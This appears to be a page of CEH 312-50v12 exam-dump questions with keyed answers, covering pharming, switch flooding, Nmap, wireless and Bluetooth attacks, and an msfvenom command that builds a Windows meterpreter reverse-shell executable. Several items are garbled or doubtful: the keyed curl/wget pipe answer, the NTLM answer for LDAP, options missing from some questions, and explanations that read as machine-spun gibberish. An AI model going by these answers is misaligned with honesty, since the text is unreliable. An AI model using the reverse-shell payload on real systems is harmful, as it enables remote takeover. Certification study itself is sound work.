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Attacker Steve targeted an organization's network with the aim of redirecting the company's web traffic to another malicious website. To achieve this goal, Steve performed DNS cache poisoning by exploiting the vulnerabilities In the DNS server software and modified the original IP address of the target website to that of a fake website. What is the technique employed by Steve to gather information for identity theft?

  • A. Pretexting
  • B. Pharming
  • C. Wardriving
  • D. Skimming

Answer: B

A pharming attacker tries to send a web site’s traffic to a faux website controlled by the offender, typically for the aim of collection sensitive data from victims or putting in malware on their machines. Attacker tend to specialize in making look-alike ecommerce and digital banking websites to reap credentials and payment card data.
Though they share similar goals, pharming uses a special technique from phishing. “Pharming attacker are targeted on manipulating a system, instead of tricking people into reaching to a dangerous web site,” explains David Emm, principal security man of science at Kaspersky. “When either a phishing or pharming attacker is completed by a criminal, they need a similar driving issue to induce victims onto a corrupt location, however the mechanisms during which this is often undertaken are completely different.”

Nathan is testing some of his network devices. Nathan is using Macof to try and flood the ARP cache of these switches.
If these switches' ARP cache is successfully flooded, what will be the result?

  • A. The switches will drop into hub mode if the ARP cache is successfully flooded.
  • B. If the ARP cache is flooded, the switches will drop into pix mode making it less susceptible to attacks.
  • C. Depending on the switch manufacturer, the device will either delete every entry in its ARP cache or reroute packets to the nearest switch.
  • D. The switches will route all traffic to the broadcast address created collisions.

Answer: A

You start performing a penetration test against a specific website and have decided to start from grabbing all the links from the main page.
What Is the best Linux pipe to achieve your milestone?

  • A. dirb https://site.com | grep "site"
  • B. curl -s https://sile.com | grep ‘’< a href-\’http" | grep "Site-com- | cut -d "V" -f 2
  • C. wget https://stte.com | grep "< a href=\*http" | grep "site.com"
  • D. wgethttps://site.com | cut-d"http

Answer: C

A new wireless client is configured to join a 802.11 network. This client uses the same hardware and
software as many of the other clients on the network. The client can see the network, but cannot
connect. A wireless packet sniffer shows that the Wireless Access Point (WAP) is not responding to
the association requests being sent by the wireless client. What is a possible source of this problem?

  • A. The WAP does not recognize the client’s MAC address
  • B. The client cannot see the SSID of the wireless network
  • C. Client is configured for the wrong channel
  • D. The wireless client is not configured to use DHCP

Answer: A

MAC filtering is a security method based on access control. Each address is assigned a 48-bit address,
which is used to determine whether we can access a network or not. It helps in listing a set of
allowed devices that you need on your Wi-Fi and the list of denied devices that you don’t want on
your Wi-Fi. It helps in preventing unwanted access to the network. In a way, we can blacklist or white
list certain computers based on their MAC address. We can configure the filter to allow connection
only to those devices included in the white list. White lists provide greater security than blacklists
because the router grants access only to selected devices.
It is used on enterprise wireless networks having multiple access points to prevent clients from
communicating with each other. The access point can be configured only to allow clients to talk to
the default gateway, but not other wireless clients. It increases the efficiency of access to a network.
The router allows configuring a list of allowed MAC addresses in its web interface, allowing you to
choose which devices can connect to your network. The router has several functions designed to
improve the network's security, but not all are useful. Media access control may seem advantageous,
but there are certain flaws.
On a wireless network, the device with the proper credentials such as SSID and password can
authenticate with the router and join the network, which gets an IP address and access to the
internet and any shared resources.
MAC address filtering adds an extra layer of security that checks the device’s MAC address against a
list of agreed addresses. If the client’s address matches one on the router’s list, access is granted;
otherwise, it doesn’t join the network.

Alice, a professional hacker, targeted an organization's cloud services. She infiltrated the targets MSP provider by sending spear-phishing emails and distributed custom-made malware to compromise user accounts and gain remote access to the cloud service. Further, she accessed the target customer profiles with her MSP account, compressed the customer data, and stored them in the MSP. Then, she used this information to launch further attacks on the target organization. Which of the following cloud attacks did Alice perform in the above scenario?

  • A. Cloud hopper attack
  • B. Cloud cryptojacking
  • C. Cloudborne attack
  • D. Man-in-the-cloud (MITC) attack

Answer: A

Operation Cloud Hopper was an in depth attack and theft of data in 2017 directed at MSP within the uk (U.K.), us (U.S.), Japan, Canada, Brazil, France, Switzerland, Norway, Finland, Sweden, South Africa , India, Thailand, South Korea and Australia. The group used MSP as intermediaries to accumulate assets and trade secrets from MSP client engineering, MSP industrial manufacturing, retail, energy, pharmaceuticals, telecommunications, and government agencies. Operation Cloud Hopper used over 70 variants of backdoors, malware and trojans. These were delivered through spear-phishing emails. The attacks scheduled tasks or leveraged services/utilities to continue Microsoft Windows systems albeit the pc system was rebooted. It installed malware and hacking tools to access systems and steal data.

Susan, a software developer, wants her web API to update other applications with the latest information. For this purpose, she uses a user-defined HTTP tailback or push APIs that are raised based on trigger events: when invoked, this feature supplies data to other applications so that users can instantly receive real-time Information.
Which of the following techniques is employed by Susan?

  • A. web shells
  • B. Webhooks

Answer: B

Webhooks are one of a few ways internet applications will communicate with one another.
It allows you to send real-time data from one application to another whenever a given event happens.
For example, let’s say you’ve created an application using the Foursquare API that tracks when people check into your restaurant. You ideally wish to be able to greet customers by name and provide a complimentary drink when they check in.
What a webhook will is notify you any time someone checks in, therefore you’d be able to run any processes that you simply had in your application once this event is triggered. The data is then sent over the web from the application wherever the event originally occurred, to the receiving application that handles the data.
Here’s a visual representation of what that looks like:
312-50v12 dumps exhibit
A webhook url is provided by the receiving application, and acts as a phone number that the other application will call once an event happens.
Only it’s more complicated than a phone number, because data about the event is shipped to the webhook url in either JSON or XML format. this is known as the “payload.” Here’s an example of what a webhook url looks like with the payload it’s carrying:
312-50v12 dumps exhibit
What are Webhooks? Webhooks are user-defined HTTP callback or push APIs that are raised basedon events triggered, such as comment received on a post and pushing code to the registry. Awebhook allows an application to update other applications with the latest information. Onceinvoked, it supplies data to the other applications, which means that users instantly receive real-timeinformation. Webhooks are sometimes called “Reverse APIs” as they provide what is required for APIspecification, and the developer should create an API to use a webhook. A webhook is an APIconcept that is also used to send text messages and notifications to mobile numbers or email addresses from an application when a specific event is triggered. For instance, if you search for something in the online store and the required item is out of stock, you click on the “Notify me” bar to get an alert from the application when that item is available for purchase.
These notifications from the applications are usually sent through webhooks.

what is the correct way of using MSFvenom to generate a reverse TCP shellcode for windows?

  • A. msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT=4444 -f c
  • B. msfvenom -p windows/meterpreter/reverse_tcp RHOST= LPORT=4444 -f c
  • C. msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT=4444 -f exe > shell.exe
  • D. msfvenom -p windows/meterpreter/reverse_tcp RHOST= LPORT=4444 -f exe > shell.exe

Answer: C

https://github.com/rapid7/metasploit-framework/wiki/How-to-use-msfvenom Often one of the most useful (and to the beginner underrated) abilities of Metasploit is the msfpayload module. Multiple payloads can be created with this module and it helps something that can give you a shell in almost any situation. For each of these payloads you can go into msfconsole and select exploit/multi/handler. Run ‘set payload’ for the relevant payload used and configure all necessary options (LHOST, LPORT, etc). Execute and wait for the payload to be run. For the examples below it’s pretty self explanatory but LHOST should be filled in with your IP address (LAN IP if attacking within the network, WAN IP if attacking across the internet), and LPORT should be the port you wish to be connected back on.
Example for Windows:
- msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe

Jack, a disgruntled ex-employee of Incalsol Ltd., decided to inject fileless malware into Incalsol's systems. To deliver the malware, he used the current employees' email IDs to send fraudulent emails embedded with malicious links that seem to be legitimate. When a victim employee clicks on the link, they are directed to a fraudulent website that automatically loads Flash and triggers the exploit. What is the technique used byjack to launch the fileless malware on the target systems?

  • A. In-memory exploits
  • B. Phishing
  • C. Legitimate applications
  • D. Script-based injection

Answer: B

What is the proper response for a NULL scan if the port is open?

  • A. SYN
  • B. ACK
  • C. FIN
  • D. PSH
  • E. RST
  • F. No response

Answer: F

What does the –oX flag do in an Nmap scan?

  • A. Perform an eXpress scan
  • B. Output the results in truncated format to the screen
  • C. Output the results in XML format to a file
  • D. Perform an Xmas scan

Answer: C

-oX <filespec> - Requests that XML output be directed to the given filename.

Henry Is a cyber security specialist hired by BlackEye - Cyber security solutions. He was tasked with discovering the operating system (OS) of a host. He used the Unkornscan tool to discover the OS of the target system. As a result, he obtained a TTL value, which Indicates that the target system is running a Windows OS. Identify the TTL value Henry obtained, which indicates that the target OS is Windows.

  • A. 64
  • B. 128
  • C. 255
  • D. 138

Answer: B

Windows TTL 128, Linux TTL 64, OpenBSD 255 ... https://subinsb.com/default-device-ttl-values/Time to Live (TTL) represents to number of 'hops' a packet can take before it is considered invalid. ForWindows/Windows Phone, this value is 128. This value is 64 for Linux/Android.

in an attempt to increase the security of your network, you Implement a solution that will help keep your wireless network undiscoverable and accessible only to those that know It. How do you accomplish this?

  • A. Delete the wireless network
  • B. Remove all passwords
  • C. Lock all users
  • D. Disable SSID broadcasting

Answer: D

The SSID (service set identifier) is the name of your wireless network. SSID broadcast is how your router transmits this name to surrounding devices. Its primary function is to make your network visible and easily accessible. Most routers broadcast their SSIDs automatically. To disable or enable SSID broadcast, you need to change your router’s settings.
Disabling SSID broadcast will make your Wi-FI network name invisible to other users. However, this only hides the name, not the network itself. You cannot disguise the router's activity, so hackers can still attack it.
With your network invisible to wireless devices, connecting becomes a bit more complicated. Just giving a Wi-FI password to your guests is no longer enough. They have to configure their settings manually by including the network name, security mode, and other relevant info.
Disabling SSID might be a small step towards online security, but by no means should it be your final one. Before considering it as a security measure, consider the following aspects:
- Disabling SSID broadcast will not hide your network completely
Disabling SSID broadcast only hides the network name, not the fact that it exists. Your router constantly transmits so-called beacon frames to announce the presence of a wireless network. They contain essential information about the network and help the device connect.
- Third-party software can easily trace a hidden network
Programs such as NetStumbler or Kismet can easily locate hidden networks. You can try using them yourself to see how easy it is to find available networks – hidden or not.
- You might attract unwanted attention.
Disabling your SSID broadcast could also raise suspicion. Most of us assume that when somebody hides something, they have a reason to do so. Thus, some hackers might be attracted to your network.

which of the following protocols can be used to secure an LDAP service against anonymous queries?

  • A. SSO
  • C. WPA
  • D. NTLM

Answer: D

In a Windows network, nongovernmental organization (New Technology) local area network Manager (NTLM) could be a suite of Microsoft security protocols supposed to produce authentication, integrity, and confidentiality to users.NTLM is that the successor to the authentication protocol in Microsoft local area network Manager (LANMAN), Associate in Nursing older Microsoft product. The NTLM protocol suite is enforced in an exceedingly Security Support supplier, which mixes the local area network Manager authentication protocol, NTLMv1, NTLMv2 and NTLM2 Session protocols in an exceedingly single package. whether or not these protocols area unit used or will be used on a system is ruled by cluster Policy settings, that totally different|completely different} versions of Windows have different default settings. NTLM passwords area unit thought-about weak as a result of they will be brute-forced very simply with fashionable hardware.
NTLM could be a challenge-response authentication protocol that uses 3 messages to authenticate a consumer in an exceedingly affiliation orientating setting (connectionless is similar), and a fourth extra message if integrity is desired.
First, the consumer establishes a network path to the server and sends a NEGOTIATE_MESSAGE advertising its capabilities.
Next, the server responds with CHALLENGE_MESSAGE that is employed to determine the identity of the consumer.
Finally, the consumer responds to the challenge with Associate in Nursing AUTHENTICATE_MESSAGE.
The NTLM protocol uses one or each of 2 hashed word values, each of that are keep on the server (or domain controller), and that through a scarcity of seasoning area unit word equivalent, that means that if you grab the hash price from the server, you’ll evidence while not knowing the particular word. the 2 area unit the lm Hash (a DES-based operate applied to the primary fourteen chars of the word born-again to the standard eight bit laptop charset for the language), and also the nt Hash (MD4 of the insufficient endian UTF-16 Unicode password). each hash values area unit sixteen bytes (128 bits) every.
The NTLM protocol additionally uses one among 2 a method functions, looking on the NTLM version. National Trust LanMan and NTLM version one use the DES primarily based LanMan a method operate (LMOWF), whereas National TrustLMv2 uses the NT MD4 primarily based a method operate (NTOWF).

which of the following Bluetooth hacking techniques refers to the theft of information from a wireless device through Bluetooth?

  • A. Bluesmacking
  • B. Bluebugging
  • C. Bluejacking
  • D. Bluesnarfing

Answer: D

Bluesnarfing is the unauthorized access of information from a wireless device through a Bluetooth connection, often between phones, desktops, laptops, and PDAs (personal digital assistant).

infecting a system with malware and using phishing to gain credentials to a system or web application are examples of which phase of the ethical hacking methodology?

  • A. Reconnaissance
  • B. Maintaining access
  • C. Scanning
  • D. Gaining access

Answer: D

This phase having the hacker uses different techniques and tools to realize maximum data from the system. they’re –• Password cracking – Methods like Bruteforce, dictionary attack, rule-based attack, rainbow table a used. Bruteforce is trying all combinations of the password. Dictionary attack is trying an inventory of meaningful words until the password matches. Rainbow table takes the hash value of the password and compares with pre-computed hash values until a match is discovered.• Password attacks – Passive attacks like wire sniffing, replay attack. Active online attack like Trojans, keyloggers, hash injection, phishing. Offline attacks like pre-computed hash, distributed network and rainbow. Non electronic attack like shoulder surfing, social engineering and dumpster diving.


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